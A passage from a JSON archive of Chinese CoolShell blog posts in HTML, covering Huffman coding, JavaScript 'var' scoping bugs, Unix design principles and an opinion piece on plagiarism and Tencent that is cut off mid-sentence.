width=\"411\"/></a></p>\n<p>同样，我们再把前两个取出来，形成一个Priority为2+2=4的结点，然后再放回Priority Queue中 :</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada31.png\"><img alt=\"\" class=\"alignnone size-full wp-image-242 aligncenter\" height=\"201\" src=\"../wp-content/uploads/2012/05/coada31.png\" title=\"coada3\" width=\"325\"/></a></p>\n<p>继续我们的算法（我们可以看到，这是一种自底向上的建树的过程）：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada4.png\"><img alt=\"\" class=\"alignnone size-full wp-image-244 aligncenter\" height=\"221\" src=\"../wp-content/uploads/2012/05/coada4.png\" title=\"coada4\" width=\"326\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada5.png\"><img alt=\"\" class=\"alignnone size-full wp-image-288 aligncenter\" height=\"207\" src=\"../wp-content/uploads/2012/05/coada5.png\" title=\"coada5\" width=\"347\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada61.png\"><img alt=\"\" class=\"alignnone size-full wp-image-290 aligncenter\" height=\"273\" src=\"../wp-content/uploads/2012/05/coada61.png\" title=\"coada6\" width=\"344\"/></a></p>\n<p>最终我们会得到下面这样一棵二叉树：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/arbore_final.png\"><img alt=\"\" class=\"alignnone size-full wp-image-291 aligncenter\" height=\"304\" src=\"../wp-content/uploads/2012/05/arbore_final.png\" title=\"arbore_final\" width=\"452\"/></a></p>\n<p>此时，我们把这个树的左支编码为0，右支编码为1，这样我们就可以遍历这棵树得到字符的编码，比如：‘b’的编码是 00，’p’的编码是101， ‘r’的编码是1000。<strong>我们可以看到出现频率越多的会越在上层，编码也越短，出现频率越少的就越在下层，编码也越长</strong>。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/arbore_final_numerotat.png\"><img alt=\"\" class=\"alignnone size-full wp-image-292 aligncenter\" height=\"304\" src=\"../wp-content/uploads/2012/05/arbore_final_numerotat.png\" title=\"arbore_final_numerotat\" width=\"452\"/></a></p>\n<p>最终我们可以得到下面这张编码表：</p>\n<p></p><center>\n<table style=\"width: 250px; height: 200px;\">\n<tbody>\n<tr>\n<td>字符</td>\n<td>编码</td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘b’</span></td>\n<td><span style=\"font-size: 12px;\">00</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘e’</span></td>\n<td><span style=\"font-size: 12px;\">11</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘p’</span></td>\n<td><span style=\"font-size: 12px;\">101</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘ ‘</span></td>\n<td><span style=\"font-size: 12px;\">011</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘o’</span></td>\n<td><span style=\"font-size: 12px;\">010</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘r’</span></td>\n<td><span style=\"font-size: 12px;\">1000</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘!’</span></td>\n<td><span style=\"font-size: 12px;\">1001</span></td>\n</tr>\n</tbody>\n</table>\n<p></p></center><br/>\n这里需要注意一点，当我们encode的时候，我们是按“bit”来encode，decode也是通过bit来完成，比如，如果我们有这样的bitset “1011110111″ 那么其解码后就是 “pepe”。所以，我们需要通过这个二叉树建立我们Huffman编码和解码的字典表。\n<p>这里需要注意的一点是，我们的Huffman对各个字符的编码是不会冲突的，也就是说，<strong>不会存在某一个编码是另一个编码的前缀</strong>，不然的话就会大问题了。因为encode后的编码是没有分隔符的。</p>\n<p style=\"text-align: left; padding-left: 30px;\">于是，对于我们的原始字符串  beep boop beer!</p>\n<p style=\"text-align: left; padding-left: 30px;\">其对就能的二进制为 : 0110 0010 0110 0101 0110 0101 0111 0000 0010 0000 0110 0010 0110 1111 0110 1111 0111 0000 0010 0000 0110 0010 0110 0101 0110 0101 0111 0010 0010 0001</p>\n<p style=\"text-align: left; padding-left: 30px;\">我们的Huffman的编码为： 0011 1110 1011 0001 0010 1010 1100 1111 1000 1001</p>\n<p>从上面的例子中，我们可以看到被压缩的比例还是很可观的。</p>\n<p>作者给出了源码你可以看看（ C99标准） <a href=\"http://en.nerdaholyc.com/wp-content/uploads/2012/05/huffman_string.zip\">Download the source files</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10427.html\"><img alt=\"伙伴分配器的一个极简实现\" height=\"150\" src=\"../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7459.html\">Huffman 编码压缩算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-5-24 Javascript 中的 var.html",
    "content": "<html><body><p>MelonCard发布了一篇文章——”<a href=\"http://blog.meloncard.com/post/12175941935/how-one-missing-var-ruined-our-launch\" target=\"_blank\">how one missing var ruined our launch</a>“（”少写了一个var毁了我的网站”），这篇文章是说MelonCard用Node.js做后台，因为出了一个小高峰——有50-100人注册，结果整个网站都不响应了，而且还出现了很多奇怪的问题。当他们调查到问题的要源的时候，他们发现下面的代码少写了一个var。</p>\n<p>[javascript]app.all(‘/apps/:user_id/status’, function(req, res, next) {<br/>\n    // …<br/>\n    initial = extractVariables(req.body);<br/>\n});[/javascript]</p>\n<p>为什么inital少写一个var会引发这个问题呢？因为如果你不写var，这个局部的变量会被javascript当成全局变量，而这个变量又是一个函数，所以，当多用户并发的时候，这个本应该在不同用户下互不干扰的变量，成了各个用户共享的东西。试想，用户A的数据被用户B覆盖了，用户A和B的数据还没处理完，结果被新的C给搞乱了，程序的逻辑自然出现了问题。</p>\n<p>在stackoverflow.com上有<a href=\"http://stackoverflow.com/questions/1470488/difference-between-using-var-and-not-using-var-in-javascript\" target=\"_blank\">这么一个贴子说明了“有var”和“无var”</a>的差别：</p>\n<pre class=\"EnlighterJSRAW\">// These are both globals\nvar foo = 1;\nbar = 2;\n\nfunction test()\n{\n    var foo = 1; // Local\n    bar = 2;     // Global\n\n    // Execute an anonymous function\n    (function()\n    {\n        var wibble = 1; // Local\n        foo = 2; // Inherits from scope above (creating a closure)\n        moo = 3; // Global\n    }())\n}</pre>\n<p>上面这个示例告诉我们，如果你不用var，那么这个js引擎会一层一层地向上找父作用域中的变量，如果找到了，就用，如果找不到了，就会帮你定义一个全局的变量。上面这个例子充分说明了这一点。所以，<strong>如果你想在当前的作用域用声明变量，你一定要用var</strong>。这对于一些乱写javascript代码的程序员要注意了。这里再给大家介绍一个工具——</p>\n<p><span id=\"more-7480\"></span></p>\n<p><strong>JSLint( <a href=\"http://www.jslint.com/\">http://www.jslint.com/</a> )</strong>，一个JS代码质量的分析工具，我们把上述stackoverflow的代码copy到JSLint这个在线工具中，我们可以看到下面的报告：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7483\" height=\"184\" src=\"../wp-content/uploads/2012/05/jslint.jpg\" title=\"jslint\" width=\"500\"/></p>\n<p>这个报告说明了源码中的那些变量的情况。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7480.html\">Javascript 中的 var</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-5-3 用Unix的设计思想来应对多变的需求.html",
    "content": "<html><body><p>之前，@<a href=\"http://weibo.com/hfcc?source=webim\" target=\"_blank\" title=\"风枫峰\">风枫峰</a> 在“<a href=\"https://coolshell.cn/articles/7126.html\" target=\"_blank\" title=\"这到底是谁之错？\">这是谁的错？</a>”中说过开发团队对需求来者不拒，而@<a href=\"http://weibo.com/weidagang\" target=\"_blank\" title=\"weidagang\">weidagang</a> 也在“<a href=\"https://coolshell.cn/articles/6950.html\" target=\"_blank\" title=\"需求变化与IoC\">需求变更和IoC</a>”中说过用IoC来最大程度地解决需求变更。今天我也想从Unix设计思想的角度来说说什么是好的软件设计，什么样的设计可以把需求变更对开发的影响降低。（<strong>注意</strong>：这并不能解决用户或是PM的无理需求，面对无理需求，需要仔细分析需求，而用技术的手段无法搞定这个事，但是可以减轻需求变更带来的痛苦） 我曾经在<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">《Unix传奇》的下篇</a>中写过一些Unix的设计哲学和思想（这里重点推荐大家看一下《<em><a href=\"http://product.china-pub.com/197413\" target=\"_blank\">The Art of Unix Programming</a></em>》，我推荐过多次了），以前也发过一篇《<a href=\"https://coolshell.cn/articles/4535.html\" target=\"_blank\" title=\"一些软件设计的原则\">一些软件设计的原则</a>》，不过，这些东西都太多了，记不住。其实，这么多年来，我的经验告诉我，<strong>无论是Unix设计，还是面向对象设计，还是别的什么如SOA，ECB，消息，事件，MVC，网络七层模型，数据库设计，等等，他们都在干三件事——<span style=\"color: #cc0000;\">解耦，解耦，还是解耦</span>！</strong>所谓解耦，就是让软件的模块和模块间尽量少地依赖起来。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"173\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux.jpg\" title=\"Unix\" width=\"448\"/></p>\n<h4>现实当中的例子</h4>\n<p>让我先举几个现实生活中的例子：</p>\n<p style=\"padding-left: 30px;\">1、现实社会中，制造灯具的工厂完全不关心制造灯泡的工厂，制造灯泡的工厂完全不关心制造灯具的工厂，但是，灯泡和灯饰可以很完美地组合成用户所喜欢的样子（这和@<a href=\"http://weibo.com/weidagang\" target=\"_blank\" title=\"weidagang\">weidagang</a> 在“<a href=\"https://coolshell.cn/articles/6950.html\" target=\"_blank\" title=\"需求变化与IoC\">需求变更和IoC</a>”说到的那个PC的例子相仿）。他们是怎么做到的？</p>\n<p style=\"padding-left: 30px;\">2、互联网上，做网站的人完全不用关心用户在用什么样的操作系统，什么样的客户端浏览器（当然事实上，浏览器的不标准让网站那边很头痛，这里只是举个例），反过来，上网的人也不关心做网站的人在用什么的技术开发网站。但是大家在完全不关心对方的情况下，可以很正常地协同工作在一起。为什么？</p>\n<p><span id=\"more-7236\"></span> 这样的例子太多了。为什么可以做成这样呢？因为大家依赖的是一个接口，灯具和灯泡并不互相依赖，他们依赖的是一个接口，做网站的人和浏览网站的人依赖的还是接口——HTTP协议。这就是面向对象的核心思想——依赖于接口而不是实现，这就是解耦。<strong>当你看过这两个例子以后，我希望你以后设计的软件至少不能比我们现实社会中的这些方法要差</strong>。不然，你就是在让社会倒退了，呵呵。 你会说，这和Unix，和应对需求变化有什么关系？好让我们再来看一下Unix的设计。</p>\n<h4>Unix设计的例子</h4>\n<p>下面是几个Unix下的例子：</p>\n<p style=\"padding-left: 30px;\">1、Unix下，所有的硬件都可以通过文件的方式存取。其统统在/dev下。于是，软件和硬件的耦合被解开了，操作系统只需要把硬件统统变成文件，而程序只需要使用三个东西，一个是fd，一个是read()，一个是write()，就可以来操作任意的硬件了，这就是抽象，简单到不行。</p>\n<p style=\"padding-left: 30px;\">2、Unix下，所有的命令都可以用管道串起来（管道绝对是个伟大的发明），这样，所有的命令间的交互全部解耦到只依赖于STD_IN, STD_OUT设备上。最酷的是，用户可以使用管道任意地拼装那些命令，以完成各式各样的功能。管道这个设计思想可以映射为今天的Web Service，你可以任意地拼装各种Web Service。</p>\n<p>看到这里，你会发现，这还是解耦，本质上来说，也是一种依赖倒置——OOD的精髓。但是，Unix还不仅仅是这些。我们再来看几个例子：</p>\n<p style=\"padding-left: 30px;\">1、Unix下，软件都是绿色地安装。在iOS上更明显——各个程序间基本上互不干扰，这个程序产生的垃圾文件不会影响到另一个程序。你删掉一个程序不会让另一个程序不举，各是各的空间。你可以删除这些程序，只要把内核心留着，系统照样可以启动。</p>\n<p style=\"padding-left: 30px;\">2、Unix下，你可以通过设置一些环境变量，让多种环境同时存在，比如：某个LAMP用的是Apache 2.0, Mysql 4.0, PHP 4.0，某个LAMP用的是Apache 2.2, Mysql 5.0，PHP5.3，你不但可以方便地在系统中切换这两个环境，你甚至还可以同时启动他们。</p>\n<p style=\"padding-left: 30px;\">3、Unix下，你可以随意地替换你想要的程序。比如，你不喜欢bash，你可以替换成ksh/csh等，你不喜欢awk ，你可以替换成 gawk ，所有的东西都像零件一样，你不喜欢什么，你就可以替换什么。</p>\n<p>这三个例子告诉了我们——<strong>当你把你的软件设计地耦合度非常地低时，你可以随意地组合，随意地安排你的系统</strong>。相当的灵活，灵活到Windows到今天都学不会。</p>\n<h4>应对需求变化</h4>\n<p>看到这里，你可能明白我想说的是什么了，你可能开始觉得怎么样的系统设计会更有效了。如果你还记得《<a href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的长篇大论\">Steve Y 对平台的长篇大论</a>》，你就会知道我想说什么了。是的，我想说的就是，<strong>当你真正了解了Unix的设计思想后，你会觉得今天的很多东西都是对Unix设计思想的一种传承或是变种</strong>。这种东西就是：</p>\n<p style=\"padding-left: 30px;\">1）<strong>解耦，解耦，解耦</strong>。尽量地让你的模块不要在实现上耦合，而是耦合某个规范，某个标准。</p>\n<p style=\"padding-left: 30px;\">2）<strong>KISS，KISS，KISS</strong>。要做到高度解耦，你的模块就一定要很简单，当然不是说简单到只有几行代码，而是简单到只干一件事，并把这件事干到极致。然后通过某个标准拼装起来。</p>\n<p style=\"padding-left: 30px;\">3）<strong>拼装，拼装，拼装。</strong>我想不起来是谁说的了，这句话是这样的，当我想用一个模块的时候，我直接调用就好了，没有必要像C或Java一样，还要编译。是的，拼装需要一个框架，需要一种标准协议，然后让所有的系统都耦合在这种规范上，各自独立运行，就像一个机器上的各个部件一样，当我觉得这个部件不爽，换了就是了。（例如，当我们在尝试不同的算法的时候）</p>\n<p>想想建材和家俱市场，无论用户过来想装修什么，我都可以满足用户的不同需求，只要你是和家装相关，我基本上都能满足你，不是吗？无论你怎么变，只要不变态，我基本上都可以满足你。这就是解耦，拼装带来的好处。 你可能会说我说得太简单了，另一方面，你可能觉得有一些系统这样做没必要，我承认，不过，你可以有选择的或多或少地试试。（其实，我相信你已经在不自觉得或多或少地使用这种方式开发软件了） （全文完）</p>\n<div></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8961.html\"><img alt=\"从面向对象的设计模式看软件设计\" height=\"150\" src=\"../wp-content/uploads/2013/01/kiss-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6950.html\"><img alt=\"需求变化与IoC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4535.html\"><img alt=\"一些软件设计的原则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-6-13 抄袭，腾讯 和 产品.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-7620\" height=\"300\" src=\"../wp-content/uploads/2012/06/i-hate-copycat-296x300.png\" title=\"i hate copycat!\" width=\"296\"/>很早就想写这篇文章了，只是想法比较零碎，所以一直没有成文，这两天觉得思考得比较成熟了一些，所以把我的这些想法整理下来，欢迎大家一起和我讨论。</p>\n<h4>鄙视抄袭和山寨</h4>\n<p>首先，先表达我的立场，我对抄袭的立场持BS和痛恨的态度，尤其是<a href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\" title=\"中国的C2C模式\">那些C2C的网站</a>，痛恨这些国外有什么就山寨什么的做法，尤其是那些连界面都不改，像素级的抄袭，连CSS和img都是一样的，更甚者，连图片都链接到抄袭源的网站去了，连源代码都抄的行为，比如：<a href=\"http://weibo.com/1661751144/yjLfJqMZ6\" target=\"_blank\">腾讯抄新浪的代码</a>，<a href=\"http://yuanxing.iteye.com/blog/638129\" target=\"_blank\">新浪抄twitter的源码</a>。无法不BS之。</p>\n<p>有很多网友邀请我去那个抄袭Quora的网站上去回答问题，借此，再次声明我不会去的。因此，有一些网友说，我不一样也在Twitter的抄袭网站新浪微博上吗？说我装逼了。我想说，新浪和Twitter基本上是同一种产品的思路，但是其实现不一样，新浪微博上一些twitter上没有功能，我个人觉得这并不算抄袭，我甚至认为新浪微博和Twitter各有长处，在一些功能上新浪微博比twitter做得更好。你可以理解为，新浪微博总体上来说并没有突破我心中的那个条抄袭的底线。</p>\n<p>我个人对抄袭的理解如下：</p>\n<p style=\"padding-left: 30px;\">1）你可以复制别人的想法和功能，但是如果你连界面设计，代码，图片，风格，布局，等等所有的一切都照抄，那我就一定要鄙视你。</p>\n<p style=\"padding-left: 30px;\">2）你可以仿照别人的产品，但是你的出发点应该是他没做好，我来把它把做好，如果你的出发点是为了复制抄袭和山寨，我一样鄙视。</p>\n<p>所以，你可以理解我为什么不去Quora，Stackoverflow，Facebook，Google的山寨网站了，因为上述两点，1）完全复制，2）山寨地太次。</p>\n<h4>理性对待抄袭</h4>\n<p>因为很多朋友极端地理解了我对抄袭的立场，所以我有必要要说说我对“抄袭”或是“模仿”的其它一些观点：</p>\n<p><span id=\"more-7617\"></span></p>\n<p><strong>1）“抄袭想法”</strong>。想法这个东西我不觉是有什么专有的东西，也不存在什么抄袭，好的想法，就不应该被垄断，好的想法是应该放出来让大家一起来实现的。所以，我并不觉得一个想法有什么不能被抄袭的。你做Web Server，我也做Web Server，你做论坛，我也做论坛，你做手机，我也做手机，你做便携电脑，我也做便携电脑，你做通讯软件，我也可以做通讯软件…… 等等，越是优秀的产品和思路，就越不可能不被别人学习和模仿的。</p>\n<p><strong>2）“抄袭界面”</strong>。根据法律来说，界面上的某些元件，如菜单，按钮，甚至布局，配色之类的单一的东西是没有版权的，但是这些东西组成的界面是存在版权的，你不能让你的产品界面和别人的界面长得雷同。而且，对于一些有艺术特征的设计和版式是受法律保护的。所以，对于界面来说，我们需要做一些区别，比如，很多电视机长得很相似，连摇控器都很相似，但是电视其中的菜单和功能会有不同；很多的家用小汽车形状都很相似，但是线条和外形并不相似；Unix和Linux的用户接口几乎一样，但是Unix和Linux的内部实现和功能上有很大的不同（比如文件系统，内核管理等），MacOS/Windows/X-Win/Gnome/KDE 这些桌面系统大同，但是实现和细节上又不一样。</p>\n<p>看我这样一说，你会说，嗯，你说的就是所谓的“微创新”！是的，这是个仁者见仁，智者见智的问题了。再说一遍，无所谓什么微创新不微创新，我对此的价值观很简单  —— <strong>只要你这个复制品在不违反法律的层面上，能在品质上超过原来那个产品，我是会认可的，而且还是会对复制品买帐的</strong>。</p>\n<p>总之，我想说的是——</p>\n<p style=\"padding-left: 30px;\">1）好的东西总是会让人去学习和仿制的，而学习和仿制好的一面是会引入竞争，竞争会让这个东西更好的。</p>\n<p style=\"padding-left: 30px;\">2）不要害怕被人仿制，被人仿制说明你做得好，如果你的仿冒者超过了你，那你应该反思自己，而不要赖别人。</p>\n<h4>如何不被腾讯抄袭</h4>\n<p>说起抄袭这个事来，就不得不说腾讯，现在互联网上一堆人都在思考，腾讯太变态，无论我做什么，都逃不出他的魔掌。很多风投都在问创业团队一个问题——“如果腾讯抄你，你怎么办？”。</p>\n<p>在我往下阐述如何不被腾讯抄的话题下，请让我先重申一下我在“<a href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\" title=\"腾讯，竞争力 和 用户体验\">腾讯，竞争力 和 用户体验</a>”一文中说的那个观点：“<em>腾讯这样大规模的抄袭和山寨，对整个社会的价值就是——会让很多很多的创业团队放弃Copy，甚至让他们要放弃那些容易被复制的“业务型的项目”，而逼着他们去努力思考，如何才不能被腾讯复制，如何才能有自己的核心价值</em>”，我把这个观点再进一步阐述，“<strong>有腾讯在，会让你更清楚地认识什么叫创业的残酷，会让你更清楚认识到什么是真正产品的价值，什么是核心竞争力，你但凡有一点急功近利的想法你都要想一想那个有钱有人有势也很急功近利的企鹅！</strong>”</p>\n<p>我不知道，我写了那篇文章这段时间来，大家有没有思考过前边文章里我说的问题？其实我在“<a href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\" title=\"腾讯，竞争力 和 用户体验\">腾讯，竞争力 和 用户体验</a>”一文中已经说到过一些了，不知道大家有没有去思考？</p>\n<p>老实说，其实腾讯并不可怕，先让我们来分析一下腾讯的特征和短板：</p>\n<ul>\n<li><strong>特征</strong>。腾讯的很多产品线完全雷同，比如：QQ，微信，空间，群，微博，朋友，等等，几乎完全一样，所以，这是不是说明了下面几个问题：</li>\n</ul>\n<p style=\"padding-left: 60px;\">1）他们人太多，没事干了，所以什么都干。<br/>\n2）各产品线为了规避风险都想伴QQ这个大款，所以不知道怎么创新。<br/>\n3）内部竞争激烈，技术团队加班赶工，所以只能无目的地广撒网了。</p>\n<ul>\n<li><strong>短板</strong>。你看看腾讯的这些产品线和他的用户群，我觉得就目前阶段，腾讯至少有三种产品复制不出来。</li>\n</ul>\n<p style=\"padding-left: 60px;\">1）有烦杂的线下业务的产品。比如：电子商务需要供应商，仓库，物流，等这样物理流程的业务很难复制。<br/>\n2）有质量，有价值，有权威的社区。比如，豆瓣，Stackoverflow，Quora这样的有价值的社区。<br/>\n3）有技术含量的产品，比如： Nginx，MySQL，Android/iOS 